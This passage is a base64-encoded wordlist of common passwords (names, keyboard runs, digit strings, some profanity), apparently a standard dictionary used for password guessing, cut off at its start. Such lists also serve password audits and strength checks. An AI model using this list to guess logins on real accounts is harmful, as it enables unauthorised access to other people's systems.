lBlbnRpdW0NClBlcHBlcg0KUmFpc3RsaW4NClNpZXJyYQ0KU25vb3B5DQpUZW5uaXMNClR1ZXNkYXkNCmFiYWNhYg0KYWJjZA0KYWJjZDEyMzQNCmFiY2RlZmcNCmFiaWdhaWwNCmFjY291bnQNCmFjZQ0KYWNyb3BvbGlzDQphZGFtDQphZGkNCmFsZXgxDQphbGljZTENCmFsbGlzb24NCmFscGluZQ0KYW15DQphbmRlcnMNCmFuZHJlMQ0KYW5kcmVhMQ0KYW5nZWwxDQphbml0YQ0KYW5uZXR0ZQ0KYW50YXJlcw0KYXBhY2hlDQphcG9sbG8NCmFyYWdvcm4NCmFyaXpvbmENCmFybm9sZA0KYXJzZW5hbA0KYXNkZmFzZGYNCmFzZGZnDQphc2RmZ2hqaw0KYXZlbmdlcg0KYXZlbmlyDQpiYWJ5DQpiYWJ5ZG9sbA0KYmFjaA0KYmFpbGV5DQpiYW5hbmENCmJhcnJ5DQpiYXNpbA0KYmFza2V0DQpiYXNzDQpiYXRtYW4xDQpiZWFuZXINCmJlYXN0DQpiZWF0cmljZQ0KYmVlcg0KYmVsbGENCmJlbg0KYmVydGhhDQpiaWdiZW4NCmJpZ2RvZw0KYmlnZ2xlcw0KYmlnbWFuDQpiaW5reQ0KYmlvbG9neQ0KYmlzaG9wDQpibGlzcw0KYmxvbmRpZQ0KYmxvd2Zpc2gNCmJsdWVmaXNoDQpibXcNCmJvYmNhdA0KYm9zY28NCmJvc3MNCmJyYXZlcw0KYnJhemlsDQpicmlkZ2VzDQpicnVjZQ0KYnJ1bm8NCmJydXR1cw0KYnVjaw0KYnVmZmFsbw0KYnVnc3kNCmJ1bGwNCmJ1bGxkb2cNCmJ1bGxldA0KYnVsbHNoaXQNCmJ1bm55DQpidXNpbmVzcw0KYnV0Y2gNCmJ1dGxlcg0KYnV0dGVyDQpjYWxpZm9ybmlhDQpjYW5ub25kYWxlDQpjYW5vbg0KY2FyZWJlYXINCmNhcm9sDQpjYXJvbDENCmNhcm9sZQ0KY2Fzc2llDQpjYXN0bGUNCmNhdGFsaW5hDQpjYXRoZXJpbmUNCmNhdG5pcA0KY2NjY2NjDQpjZWxpbmUNCmNlbnRlcg0KY2hhbXBpb24NCmNoYW5lbA0KY2hhb3MNCmNoZWxzZWExDQpjaGVzdGVyMQ0KY2hpY2Fnbw0KY2hpY28NCmNoaXANCmNocmlzdGlhbg0KY2hyaXN0eQ0KY2h1cmNoDQpjaW5kZXINCmNpdmlsDQpjb2xsZWVuDQpjb2xvcmFkbw0KY29sdW1iaWENCmNvbW1hbmRlcg0KY29ubmllDQpjb250ZW50DQpjb29rDQpjb29raWVzDQpjb29raW5nDQpjb3JkZWxpYQ0KY29yb25hDQpjb3dib3lzDQpjb3lvdGUNCmNyYWNrMQ0KY3JhaWcNCmNyZWF0aXZlDQpjcm93DQpjdWRkbGVzDQpjdWVydm8NCmN1dGllDQpjeWJlcg0KZGFkZHkNCmRhaXNpZQ0KZGFpc3kNCmRhbmllbDENCmRhbmllbGxlDQpkYXJrMQ0KZGF0YWJhc2UNCmRhdmlkcw0KZGVhZGhlYWQNCmRlYXRoDQpkZW5hbGkNCmRlbmlzDQpkZXBlY2hlDQpkZXJlaw0KZGVzaWduDQpkZXN0aW55DQpkaWFuYQ0KZGlhbmUNCmRpY2tlbnMNCmRpY2toZWFkDQpkaWdnZXINCmRvZGdlcg0KZG9uDQpkb25uYQ0KZG91Z2llDQpkcmFmdA0KZHJhZ29uZmx5DQpkeWxhbg0KZWFnbGUNCmVjbGlwc2UNCmVsZWN0cmljDQplbWVyYWxkDQplbW1pdHQNCmVudHJvcHkNCmV0b2lsZQ0KZXhjYWxpYnVyDQpleHByZXNzDQpmYXJvdXQNCmZhcnNpZGUNCmZlZWRiYWNrDQpmZW5kZXINCmZpZGVsDQpmaW9uYQ0KZmlyZW1hbg0KZmlyZW56ZQ0KZmlzaDENCmZsYXNoDQpmbGV0Y2gNCmZsb3JpZGENCmZsb3dlcnMNCmZvb2wNCmZvc3Rlcg0KZm96emllDQpmcmFuY2VzY28NCmZyYW5jaW5lDQpmcmFuY29pcw0KZnJhbmsNCmZyZW5jaA0KZnVja2ZhY2UNCmZ1bg0KZ2FyZ295bGUNCmdhc21hbg0KZ2VtaW5pDQpnZW5lcmFsDQpnZXJhbGQNCmdlcm1hbnkNCmdpbGJlcnQNCmdvYXdheQ0KZ29sZA0KZ29sZGVuDQpnb2xkZmlzaA0KZ29vc2UNCmdvcmRvbg0KZ3JhaGFtDQpncmFudA0KZ3JhcGhpYw0KZ3JlZ29yeQ0KZ3JldGNoZW4NCmd1bm5lcg0KaGFsOTAwMA0KaGFubmFoDQpoYXJvbGQNCmhhcnJpc29uDQpoYXJ2ZXkNCmhhd2tleWUNCmhlYXZlbg0KaGVpZGkNCmhlbGVuDQpoZWxlbmENCmhlbGwNCmhlcnpvZw0KaGl0aGVyZQ0KaG9iYml0DQpodWV5DQppYmFuZXoNCmlkb250a25vdw0KaW1hZ2UNCmludGVncmENCmludGVybg0KaW50cmVwaWQNCmlyZWxhbmQNCmlyZW5lDQppc2FhYw0KaXNhYmVsDQpqYWNraWUNCmphY2tzb24NCmphZ3Vhcg0KamFtYWljYQ0KamFwYW4NCmplZmYNCmplbm55MQ0KamVzc2llDQpqZXRocm90dWxsDQpqa2wxMjMNCmpvZWwNCmpvaGFuDQpqb2hhbm5hMQ0Kam9obm55DQpqb2tlcjENCmpvcmRhbjIzDQpqdWRpdGgNCmp1bGlhDQpqdW1hbmppDQpqdXNzaQ0Ka2FuZ2Fyb28NCmthcmVuMQ0Ka2F0aHkNCmtlZXBvdXQNCmtlaXRoMQ0Ka2VubmV0aA0Ka2lkZGVyDQpraW0NCmtpbWJlcmx5DQpraW5nDQpraW5nZG9tDQpraXJrDQpraXRrYXQNCmtyYW1lcg0Ka3Jpcw0Ka3Jpc3Rlbg0KbGFtYmRhDQpsYXVyYQ0KbGF1cmllDQpsYXcNCmxhd3JlbmNlDQpsYXd5ZXINCmxlZ2VuZA0KbGVvbg0KbGliZXJ0eQ0KbGlnaHQNCmxpbmRzYXkNCmxpbmRzZXkNCmxpc2ENCmxpdmVycG9vbA0KbG9naWNhbA0KbG9sYQ0KbG9uZWx5DQpsb3JyaWUNCmxvdWlzDQpsb3ZlbHkNCmxvdmVtZQ0KbHVjYXMNCm0NCm1hZG9ubmENCm1haWwNCm1ham9yDQptYWxjb2xtDQptYWxpYnUNCm1hcmF0aG9uDQptYXJjZWwNCm1hcmlhMQ0KbWFyaWFoDQptYXJpYWgxDQptYXJpbHluDQptYXJpbmVyDQptYXJpbw0KbWFyazENCm1hcnZpbg0KbWF1cmljZQ0KbWF4DQptYXhpbmUNCm1heHdlbGwNCm1lDQptZWRpYQ0KbWVnZ2llDQptZWxhbmllDQptZWxpc3NhDQptZWxvZHkNCm1lcmxvdA0KbWV4aWNvDQptaWNoYWVsMQ0KbWljaGVsZQ0KbWlkbmlnaHQNCm1pZHdheQ0KbWlrZTENCm1pa2kNCm1pbmUNCm1pcmFjbGUNCm1pc2hhDQptaXNoa2ENCm1tb3VzZQ0KbW9sbHkxDQptb25pcXVlDQptb250cmVhbA0KbW9vY293DQptb29uDQptb29yZQ0KbW9wYXINCm1vcnJpcw0KbW9ydA0KbW9ydGltZXINCm1vdXNlMQ0KbXVsZGVyDQpuYXV0aWNhDQpuZWxsaWUNCm5lcm1hbA0KbmV3DQpuZXd0b24NCm5pY2FyYW8NCm5pY2sNCm5pbmENCm5pcnZhbmExDQpuaXNzYW4NCm5vcm1hbg0Kbm90ZWJvb2sNCm9jZWFuDQpvbGl2aWVyDQpvbGxpZQ0Kb2xzZW4NCm9wZXJhDQpvcHVzDQpvcmFuZ2VzDQpvcmVnb24NCm9yaW9uDQpvdmVya2lsbA0KcGFjZXJzDQpwYWNrZXINCnBhbmRhDQpwYW5kb3JhDQpwYW50aGVyDQpwYXNzaW9uDQpwYXRyaWNpYQ0KcGVhcmwNCnBlZXdlZQ0KcGVuY2lsDQpwZW5ueQ0KcGVvcGxlDQpwZXJjeQ0KcGVyc29uDQpwZXRlcjENCnBldGV5DQpwaWNhcmQNCnBpY2Fzc28NCnBpZXJyZQ0KcGlua2Zsb3lkDQpwaXQNCnBsdXMNCnBvbGFyDQpwb2xhcmlzDQpwb2xpY2UNCnBvbG8NCnBvb2tpZTENCnBvcHB5DQpwb3dlcg0KcHJlZGF0b3INCnByZXN0b24NCnByaW11cw0KcHJvbWV0aGV1cw0KcHVibGljDQpxMXcyZTMNCnF1ZWVuDQpxdWVlbmllDQpxdWVudGluDQpyYWRpbw0KcmFscGgNCnJhbmRvbQ0KcmFuZ2Vycw0KcmFwdG9yDQpyYXN0YWZhcmlhbg0KcmVhbGl0eQ0KcmVkcnVtDQpyZW1vdGUNCnJlcHRpbGUNCnJleW5vbGRzDQpyaG9uZGENCnJpY2FyZG8NCnJpY2FyZG8xDQpyaWNreQ0Kcml2ZXINCnJvYWRydW5uZXINCnJvYg0Kcm9iaW5ob29kDQpyb2JvdGVjaA0Kcm9ja25yb2xsDQpyb2NreTENCnJvZGVvDQpyb2xleA0Kcm9uYWxkDQpyb3VnZQ0Kcm94eQ0Kcm95DQpydWJ5DQpydXRoaWUNCnNhYnJpbmENCnNha3VyYQ0Kc2FsYXNhbmENCnNhbGx5DQpzYW1wc29uDQpzYW11ZWwNCnNhbmRyYQ0Kc2FudGENCnNhcHBoaXJlDQpzY2FyZWNyb3cNCnNjYXJsZXQNCnNjb3JwaW8NCnNjb3R0MQ0Kc2NvdHRpZQ0Kc2NvdXQNCnNjcnVmZnkNCnNjdWJhMQ0Kc2VhdHRsZQ0Kc2VyZW5hDQpzZXJnZXkNCnNoYW50aQ0Kc2hhcmsNCnNob2d1bg0Kc2ltb24NCnNpbmdlcg0Kc2tpYnVtDQpza3VsbA0Kc2t1bmsNCnNreXdhbGtlcg0Kc2xhY2tlcg0Kc21hc2hpbmcNCnNtaWxlcw0Kc25vd2ZsYWtlDQpzbm93c2tpDQpzbnVmZnkNCnNvY2NlcjENCnNvbGVpbA0Kc29ubnkNCnNvdW5kDQpzcGFua3kNCnNwZWVkeQ0Kc3BpZGVyDQpzcG9va3kNCnN0YWNleQ0Kc3RhcjY5DQpzdGFydA0Kc3RhcnRlcg0Kc3RldmVuMQ0Kc3RpbmcxDQpzdGlua3kNCnN0cmF3YmVycnkNCnN0dWFydA0Kc3VnYXINCnN1bmJpcmQNCnN1bmRhbmNlDQpzdXBlcmZseQ0Kc3V6YW5uZQ0Kc3V6dWtpDQpzd2ltbWVyDQpzd2ltbWluZw0Kc3lzdGVtDQp0YWZmeQ0KdGFyemFuDQp0YmlyZA0KdGVkZHkNCnRlZGR5YmVhcg0KdGVmbG9uDQp0ZW1wb3JhbA0KdGVybWluYWwNCnRlcnJ5DQp0aGUNCnRoZWF0cmUNCnRoZWp1ZGdlDQp0aHVuZGVyDQp0aHVyc2RheQ0KdGltZQ0KdGlua2VyDQp0b2J5DQp0b2RheQ0KdG9reW8NCnRvb3RzaWUNCnRvcm5hZG8NCnRyYWN5DQp0cmVlDQp0cmljaWENCnRyaWRlbnQNCnRyb2phbg0KdHJvdXQNCnRydW1hbg0KdHJ1bXBldA0KdHVja2VyDQp0dXJ0bGUNCnR5bGVyDQp1dG9waWENCnZhZGVyDQp2YWwNCnZhbGhhbGxhDQp2aXNhDQp2b3lhZ2VyDQp3YXJjcmFmdA0Kd2FybG9jaw0Kd2FycmVuDQp3YXRlcg0Kd2F5bmUNCndlbmR5DQp3aWxsaWFtcw0Kd2lsbHkNCndpbjk1DQp3aW5kc3VyZg0Kd2lub25hDQp3b2xmDQp3b2xmMQ0Kd29vZHkNCndvb2Z3b29mDQp3cmFuZ2xlcg0Kd3JpZ2h0DQp3d3cNCnhjb3VudHJ5DQp4ZmlsZXMNCnh4eHh4eA0KeQ0KeWFua2Vlcw0KeW9kYQ0KeXVrb24NCnl2b25uZQ0KemVicmENCnplbml0aA0KemlnemFnDQp6b21iaWUNCnp4YzEyMw0KenhjdmINCnp6eg0KMDAwMDAwDQowMDcwMDcNCjExMTExDQoxMTExMTExMQ0KMTIxMw0KMTIxNA0KMTIyNQ0KMTIzMzIxDQoxMzEzDQoxMzE2DQoxMzMyDQoxNDEyDQoxNDMwDQoxNzE3MTcNCjE4MTgNCjE4MTgxOA0KMTk1MA0KMTk1Mg0KMTk1Mw0KMTk1NQ0KMTk1Ng0KMTk2MA0KMTk2NA0KMTk3NQ0KMTk3Nw0KMTk5MQ0KMWEyYjNjDQoxY2hyaXMNCjFraXR0eQ0KMXF3MjNlDQoyMDAxDQoyMDIwDQoyMTEyDQoyMg0KMjIwMA0KMjI1Mg0KMmtpZHMNCjMwMTANCjMxMTINCjMxNDENCjMzMw0KMzUzMw0KNDA1NQ0KNDQ0NA0KNDc4OA0KNDg1NA0KNHJ1bm5lcg0KNTA1MA0KNTEyMQ0KNTQzMjENCjU1NTU1DQo1N2NoZXZ5DQo2MjYyDQo2MzAxDQo2OTY5DQo3Nzc3Nzc3DQo3ODk0NTYNCjdkd2FyZnMNCjg4ODg4ODg4DQpBYmNkZWZnDQpBbGV4aXMNCkFscGhhDQpBbmltYWxzDQpBcmllbA0KQk9TUw0KQmFpbGV5DQpCYXN0YXJkDQpCZWF2aXMNCkJpc21pbGxhaA0KQm9uem8NCkJvb2Jvbw0KQm9zdG9uDQpDYW51Y2tzDQpDYXJkaW5hbA0KQ2Fyb2wNCkNlbHRpY3MNCkNoYW5nZU1lDQpDaGFybGllDQpDaHJpcw0KQ29tcHV0ZXINCkNvdWdhcg0KQ3JlYXRpdmUNCkN1cnRpcw0KRGFuaWVsDQpEYXJrbWFuDQpEZW5pc2UNCkRyYWdvbg0KRWFnbGVzDQpFbGl6YWJldGgNCkVzdGhlcg0KRmlnYXJvDQpGaXNoaW5nDQpGb3J0dW5lDQpGcmVkZHkNCkZyb250MjQyDQpHYW5kYWxmDQpHZXJvbmltbw0KR2luZ2Vycw0KR29sZGVuDQpHb29iZXINCkdyZXRlbA0KSEFSTEVZDQpIYWNrZXINCkhhbW1lcg0KSGFybGV5DQpIZWF0aGVyDQpIZW5yeQ0KSGVyc2hleQ0KSG9tZXINCkphY2tzb24NCkphbmV0DQpKZW5uaWZlcg0KSmVyc2V5DQpKZXNzaWNhDQpKb2FubmENCkpvaG5zb24NCkpvcmRhbg0KS0lMTEVSDQpLYXRpZQ0KS2l0dGVuDQpMaWJlcnR5DQpMaW5kc2F5DQpMaXphcmQNCk1hZGVsaW5lDQpNYXJnYXJldA0KTWF4d2VsbA0KTWVsbG9uDQpNZXJsb3QNCk1ldGFsbGljDQpNaWNoZWwxDQpNb25leQ0KTW9uc3Rlcg0KTW9udHJlYWwNCk5ld3Rvbg0KTmljaG9sYXMNCk5vcmlrbw0KUGFsYWRpbg0KUGFtZWxhDQpQYXNzd29yZA0KUGVhY2hlcw0KUGVhbnV0cw0KUGV0ZXINClBob2VuaXgNClBpZ2xldA0KUG9va2llDQpQcmluY2Vzcw0KUHVycGxlDQpSYWJiaXQNClJhaWRlcnMNClJhbmRvbQ0KUmViZWNjYQ0KUm9iZXJ0DQpSdXNzZWxsDQpTYW1teQ0KU2F0dXJuDQpTZXJ2aWNlDQpTaGFkb3cNClNpZGVraWNrDQpTa2VldGVyDQpTbW9rZXkNClNwYXJreQ0KU3BlZWR5DQpTdGVybGluZw0KU3RldmVuDQpTdW1tZXINClN1bnNoaW5lDQpTdXBlcm1hbg0KU3ZlcmlnZQ0KU3dvb3NoDQpUYXlsb3INClRoZXJlc2ENClRob21hcw0KVGh1bmRlcg0KVmVybm9uDQpWaWN0b3JpYQ0KVmluY2VudA0KV2F0ZXJsb28NCldlYnN0ZXINCldpbGxvdw0KV2lubmllDQpXb2x2ZXJpbmUNCldvb2Ryb3cNCldvcmxkDQphYQ0KYWFhYQ0KYWFyZHZhcmsNCmFiYm90dA0KYWJjZDEyMw0KYWJjZGUNCmFjY29yZA0KYWN0aXZlDQphY3VyYQ0KYWRnDQphZG1pbg0KYWRtaW4xDQphZHJvY2sNCmFlcm9iaWNzDQphZnJpY2ENCmFnZW50DQphaXJib3JuZQ0KYWlyd29sZg0KYWtpMTIzDQphbGZhcm8NCmFsaQ0KYWxpY2lhDQphbGllbg0KYWxpZW5zDQphbGluYQ0KYWxpbmUNCmFsaXNvbg0KYWxsZWdybw0KYWxsZW4NCmFsbHN0YXRlDQphbG9oYQ0KYWxwaGExDQphbHRhbWlyYQ0KYWx0aGVhDQphbHRpbWENCmFsdGltYTENCmFtYW5kYTENCmFtYXppbmcNCmFtZXJpY2ENCmFtb3VyDQphbmRlcnNvbg0KYW5kcmUNCmFuZHJldyENCmFuZHJldzENCmFuZHJvbWVkDQphbmdlbHMNCmFuZ2llMQ0KYW5uDQphbm5lDQphbm5lbGkNCmFubmllDQphbnl0aGluZw0KYXBwbGUxDQphcHBsZTINCmFwcGxlcGllDQphcHJpbA0KYXB0aXZhDQphcXVhDQphcXVhcml1cw0KYXJpYW5lDQphcmllbA0KYXJsZW5lDQphcnJvdw0KYXJ0ZW1pcw0KYXNkZjEyMzQNCmFzZGY7bGtqDQphc2RmamtsDQphc2hsZXkxDQphc2hyYWYNCmFzaHRvbg0KYXNzbXVuY2gNCmFzdGVyaXgNCmF0dGlsYQ0KYXV0dW1uDQphdmF0YXINCmF5ZWxldA0KYXlsbWVyDQpiYWJlcw0KYmFtYmkNCmJhcmFrYQ0KYmFyYmllDQpiYXJuDQpiYXJuZXkxDQpiYXJueWFyZA0KYmFycmV0dA0KYmFydA0KYmFydG1hbg0KYmJhbGwNCmJlYWNoZXMNCmJlYW5pZQ0KYmVhbnMNCmJlYXN0eQ0KYmVhdXR5DQpiZWF2aXMxDQpiZWJlDQpiZWNjYQ0KYmVsZ2l1bQ0KYmVsaXplDQpiZWxsZQ0KYmVsbW9udA0KYmVuamkNCmJlbnNvbg0KYmVvd3VsZg0KYmVybmFyZG8NCmJlcnJ5DQpiZXJ5bA0KYmVzdA0KYmV0YQ0KYmV0YWNhbQ0KYmV0c3kNCmJldHR5DQpiaGFyYXQNCmJpY2hvbg0KYmlnYWwNCmJpZ2Jvc3MNCmJpZ3JlZA0KYmlrZXINCmJpbGJvDQpiaWxscw0KYmlsbHkxDQpiaW1tZXINCmJpb2JveQ0KYmlvY2hlbQ0KYmlyZGllDQpiaXJkeQ0KYmlydGhkYXkNCmJpc2N1aXQNCmJpdHRlcg0KYml6DQpibGFja2phY2sNCmJsYWgNCmJsYW5jaGUNCmJsaW5kcw0KYmxpdHoNCmJsb29kDQpibG93am9iDQpibG93bWUNCmJsdWVleWVzDQpibHVlamVhbg0KYmx1ZXMNCmJvYXQNCmJvZ2FydA0KYm9nZXkNCmJvZ3VzDQpib21iYXkNCmJvb2JpZQ0KYm9vdHMNCmJvb3RzaWUNCmJvdWxkZXINCmJvdXJib24NCmJveGVyDQpib3hlcnMNCmJvem8NCmJyYWluDQpicmFuY2gNCmJyYW5kaQ0KYnJlbnQNCmJyZXdzdGVyDQpicmlkZ2UNCmJyaXRhaW4NCmJyb2tlcg0KYnJvbmNvDQpicm9udGUNCmJyb29rZQ0KYnJvdGhlcg0KYnJ5YW4NCmJ1YmJsZQ0KYnVja3MNCmJ1ZGRoYQ0KYnVkZ2llDQpidWZmZXR0DQpidWdzDQpidWxscw0KYnVybnMNCmJ1cnRvbg0KYnV0dGVyZmx5DQpidXp6DQpieXJvbg0KYzAwcGVyDQpjYWxlbmRhcg0KY2FsZ2FyeQ0KY2FsdmluMQ0KY2FtYXkNCmNhbWVsDQpjYW1pbGxlDQpjYW1wYmVsbA0KY2FtcGluZw0KY2FuY2VyDQpjYW5lbGENCmNhbm5vbg0KY2FyDQpjYXJib24NCmNhcmwNCmNhcm5hZ2UNCmNhcm9seW4NCmNhcnJvdA0KY2FzY2FkZQ0KY2F0DQpjYXRmaXNoDQpjYXRoeQ0KY2F0d29tYW4NCmNlY2lsZQ0KY2VsaWNhDQpjZW1lbnQNCmNlc3NuYQ0KY2hhZA0KY2hhaW5zYXcNCmNoYW1lbGVvbg0KY2hhbmcNCmNoYW5nZQ0KY2hhbnRhbA0KY2hhcmdlcg0KY2hhdA0KY2hlcnJ5DQpjaGVzcw0KY2hpYXJhDQpjaGllZnMNCmNoaW5hDQpjaGluYWNhdA0KY2hpbm9vaw0KY2hvdWV0dGUNCmNocmlzMTIzDQpjaHJpc3QxDQpjaHJpc3RtYXMNCmNocmlzdG9waGVyDQpjaHJvbm9zDQpjaHVjaw0KY2ljZXJvDQpjaW5keTENCmNpbmVtYQ0KY2lyY3VpdA0KY2lycXVlDQpjaXJydXMNCmNpdmljDQpjbGFwdG9uDQpjbGFya3Nvbg0KY2xhc3MNCmNsYXVkZQ0KY2xhdWRlbA0KY2xlbw0KY2xpZmYNCmNsb2NrDQpjbHVlbGVzcw0KY29iYWluDQpjb2JyYQ0KY29keQ0KY29sZXR0ZQ0KY29sbGVnZQ0KY29sb3INCmNvbG9ycw0KY29sdDQ1DQpjb21ldA0KY29uY2VwdA0KY29uY29yZGUNCmNvbmZ1c2VkDQpjb29sDQpjb29sYmVhbg0KY29yYQ0KY29ya3kNCmNvcm5mbGFrZQ0KY29ydmV0dGUNCmNvcndpbg0KY29zbW8NCmNvdW50cnkNCmNvdXJpZXINCmNvd3MNCmNyZXNjZW50DQpjcm9zcw0KY3Jvd2xleQ0KY3J1c2FkZXINCmN0aHVsaHUNCmN1ZGENCmN1bm5pbmdoYW0NCmN1bnQNCmN1cGNha2UNCmN1cnJlbnQNCmN1dGxhc3MNCmN5bnRoaWENCmRhZWRhbHVzDQpkYWdnZXINCmRhZ2dlcjENCmRhaWx5DQpkYWxlDQpkYW1taXQNCmRhbW9ncmFuDQpkYW5hDQpkYW5jZXINCmRhcGhuZQ0KZGFya3N0YXINCmRhcnJlbg0KZGFycnlsDQpkYXJ3aW4NCmRhdGExDQpkYXRhdHJhaW4NCmRheXRlaw0KZGVhZA0KZGVib3JhaA0KZGVjZW1iZXINCmRlY2tlcg0KZGVlZGVlDQpkZWV6bnV0cw0KZGVmDQpkZWxhbm8NCmRlbGV0ZQ0KZGVtb24NCmRlbmlzZQ0KZGVubnkNCmRlc2VydA0KZGVza2pldA0KZGV0cm9pdA0KZGV2aWwNCmRldmluZQ0KZGV2b24NCmRleHRlcg0KZGhhcm1hDQpkaWFubmUNCmRpZXNlbA0KZGlsbHdlZWQNCmRpbQ0KZGlwcGVyDQpkaXJlY3Rvcg0KZGlzY28NCmRpeGllDQpkaXhvbg0KZG9jDQpkb2RnZXJzDQpkb2diZXJ0DQpkb2dneQ0KZG9pdG5vdw0KZG9sbGFyDQpkb2xseQ0KZG9taW5pcXVlDQpkb21pbm8NCmRvbnRrbm93DQpkb29naWUNCmRvb3JzDQpkb3JrDQpkb3Vkb3UNCmRvdWcNCmRvd250b3duDQpkcmFnb24xDQpkcml2ZXINCmR1ZGUNCmR1ZGxleQ0KZHV0Y2gNCmR1dGNoZXNzDQpkd2lnaHQNCmVhZ2xlMQ0KZWFzdGVyDQplYXN0ZXJuDQplZGl0aA0KZWRtdW5kDQplZmZpZQ0KZWllaW8NCmVpZ2h0DQplbGVtZW50DQplbGluYTENCmVsaXNzYQ0KZWxsYQ0KZWxsZW4NCmVsbGlvdA0KZWxzaWUNCmVtcGlyZQ0KZW5nYWdlDQplbmlnbWENCmVudGVycHJpc2UNCmVyaWMxDQplcmluDQplcm5pZTENCmVzY29ydA0KZXNjb3J0MQ0KZXN0ZWxsZQ0KZXVnZW5lDQpldmVseW4NCmV4Y2VsDQpleHBsb3JlDQpleWFsDQpmYWN1bHR5DQpmYWlydmlldw0KZmFtaWx5MQ0KZmF0Ym95DQpmYXVzdA0KZmVsaXBlDQpmZW5yaXMNCmZlcmd1c29uDQpmZXJyZXQNCmZlcnJpcw0KZmluYW5jZQ0KZmlyZWJhbGwNCmZpcnN0DQpmaXNoZXMNCmZpc2hoZWFkDQpmaXNoaWUNCmZsYW5kZXJzDQpmbGV1cnMNCmZsaWdodA0KZmxvcmlkYTENCmZsb3dlcnBvdA0KZmx1dGUNCmZseQ0KZmx5Ym95DQpmbHllcg0KZm9yd2FyZA0KZnJhbmthDQpmcmVkZGllDQpmcmVkZXJpYw0KZnJlZQ0KZnJlZWJpcmQNCmZyZWVtYW4NCmZyaXNjbw0KZnJpdHoNCmZyb2dnaWUNCmZyb2dnaWVzDQpmcm9ncw0KZnJvbnQyNDINCmZyb250aWVyDQpmdWNrdQ0KZnVnYXppDQpmdW5ndXkNCmZ1bnRpbWUNCmZ1dHVyZQ0KZnV6eg0KZ2FiYnkNCmdhYnkNCmdhZWxpYw0KZ2FtYmxlcg0KZ2FtZXMNCmdhbW1hcGhpDQpnYXJjaWENCmdhcmZ1bmtlbA0KZ2FydGgNCmdhcnkNCmdhc3Rvbg0KZ2F0ZXdheQ0KZ2F0ZXdheTINCmdhdG9yMQ0KZ2VvcmdlMQ0KZ2VvcmdpYQ0KZ2VybWFuDQpnZXJtYW55MQ0KZ2V0b3V0DQpnZ2VvcmdlDQpnaG9zdA0KZ2liYm9ucw0KZ2lic29uDQpnaWdpDQpnaWxnYW1lc2gNCmdpc2VsbGUNCmdsaWRlcjENCmdtb25leQ0KZ29hdA0KZ29ibGluDQpnb2JsdWUNCmdvZGl2YQ0KZ29ldGhlDQpnb2Zpc2gNCmdvbGx1bQ0KZ29uZQ0KZ29vZA0KZ3JhbXBzDQpncmFuZG1hDQpncmF2aXMNCmdyYXkNCmdyZWVkDQpncmVnDQpncmVnMQ0KZ3JlbWxpbg0KZ3JldGENCmdyZXR6a3kNCmdyaXp6bHkNCmdydW1weQ0KZ3Vlc3MNCmd1aWRvDQpndWl0YXIxDQpndW1ieQ0KZ3VzdGF2bw0KaDJvcG9sbw0KaGFnZ2lzDQpoYWhhDQpoYWlsZXkNCmhhbA0KaGFsbG93ZWVuDQpoYWxsb3dlbGwNCmhhbWlkDQpoYW1pbHRvbg0KaGFtbGV0DQpoYW5rDQpoYW5uYQ0KaGFuc29uDQpoYXBweTEyMw0KaGFwcHlkYXkNCmhhcmRjb3JlDQpoYXJsZXkxDQpoYXJvDQpoYXJyaWV0DQpoYXJyaXMNCmhhcnZhcmQNCmhhd2sNCmhhd2tleWUxDQpoZWFsdGgNCmhlYWx0aDENCmhlYXJ0DQpoZWF0aGVyMQ0KaGVhdGhlcjINCmhlZGdlaG9nDQpoZWlra2kNCmhlbGVuZQ0KaGVsbG8xDQpoZWxsbzEyMw0KaGVsbG84DQpoZWxsb2hlbGxvDQpoZWxwMTIzDQpoZWxwZXINCmhlcm1lcw0KaGV5dGhlcmUNCmhpZ2hsYW5kDQpoaWxkYQ0KaGlsbGFyeQ0KaGlzdG9pcmUNCmhpc3RvcnkNCmhpdGxlcg0KaG9iYmVzDQpob2xpZGF5DQpob2xseQ0KaG9tZXJqDQpob25kYTENCmhvbmdrb25nDQpob29zaWVyDQpob290aWUNCmhvcGUNCmhvcnNlDQpob3NlaGVhZA0KaG90cm9kDQpodWFuZw0KaHVkc29uDQpodWdoDQpodWdvDQpodW1tZXINCmh1c2tpZXMNCmh5ZHJvZ2VuDQppDQppYjZ1YjkNCmlkaW90DQppZjZ3YXM5DQppZm9yZ2V0DQppbG1hcmkNCmlsb3ZldQ0KaW1wYWN0DQppbmRvbmVzaWENCmluZ3Zhcg0KaW5zaWdodA0KaW5zdHJ1Y3QNCmludGVncmFsDQppb21lZ2ENCmlyaW5hDQppcmlzDQppcm1lbGkNCmlzYWJlbGxlDQppc3JhZWwNCml0YWxpYQ0KaXRhbHkNCml6enkNCmowa2VyDQpqMWwydDMNCmphY2tpZTENCmphY29iDQpqYWtleQ0KamFtZXMxDQpqYW1lc2JvbmQNCmphbWllDQpqYW1qYW0NCmphbg0KamF6eg0KamVhbg0KamVkaQ0KamVlcHN0ZXINCmplZmZyZXkxDQpqZW5uaWUNCmplbm55DQpqZW5zZW4NCmplcg0KamVzc2UNCmplc3NlMQ0KamVzdGVyDQpqZXRocm8NCmpldHRhMQ0KamltYm9iDQpqaW1pDQpqaW1teQ0Kam9hbmllDQpqb2FubmENCmpvZWxsZQ0Kam9objMxNg0Kam9yZGllDQpqb3JnZQ0Kam9zZWUNCmpvc2gNCmpvdXJuZXkNCmpveQ0Kam95Y2UNCmp1YmlsZWUNCmp1aGFuaQ0KanVsZXMNCmp1bGlhMg0KanVsaWVuDQpqdWxpZXQNCmp1bWJvDQpqdW1wDQpqdW5lYnVnDQpqdW5pcGVyDQpqdXN0ZG9pdA0KanVzdGljZTQNCmthbGFtYXpvDQprYWxpDQprYXJpbg0Ka2FyaW5lDQprYXJtYQ0Ka2F0DQprYXRlDQprYXRlcmluYQ0Ka2F0aWUNCmthdGllMQ0Ka2F5bGENCmtjaW4NCmtlZXBlcg0Ka2VsbGVyDQprZW5kYWxsDQprZW5ueQ0Ka2VyYWxhDQprZXJyeWENCmtldGNodXANCmtoYW4NCmtpZHMNCmtpbmdzDQpraXNzYTINCmtpc3NtZQ0Ka2l0dGVuDQpraXR0eWNhdA0Ka2l3aQ0Ka2tra2trDQprbGVlbmV4DQprb21iYXQNCmtyaXN0aQ0Ka3Jpc3RpbmUNCmxhYjENCmxhYnRlYw0KbGFkZGllDQpsYWR5YnVnDQpsYW1lcg0KbGFuY2UNCmxhc2VyDQpsYXNlcmpldA0KbGFzc2llMQ0KbGF1cmVsDQpsYXdzb24NCmxlYWRlcg0KbGVhZg0KbGVibGFuYw0KbGVnYWwNCmxlbGFuZA0KbGVtb24NCmxlbw0KbGVzdGVyDQpsZXR0ZXINCmxldHRlcnMNCmxldg0KbGV4dXMxDQpsaWJyYQ0KbGlmZQ0KbGlnaHRz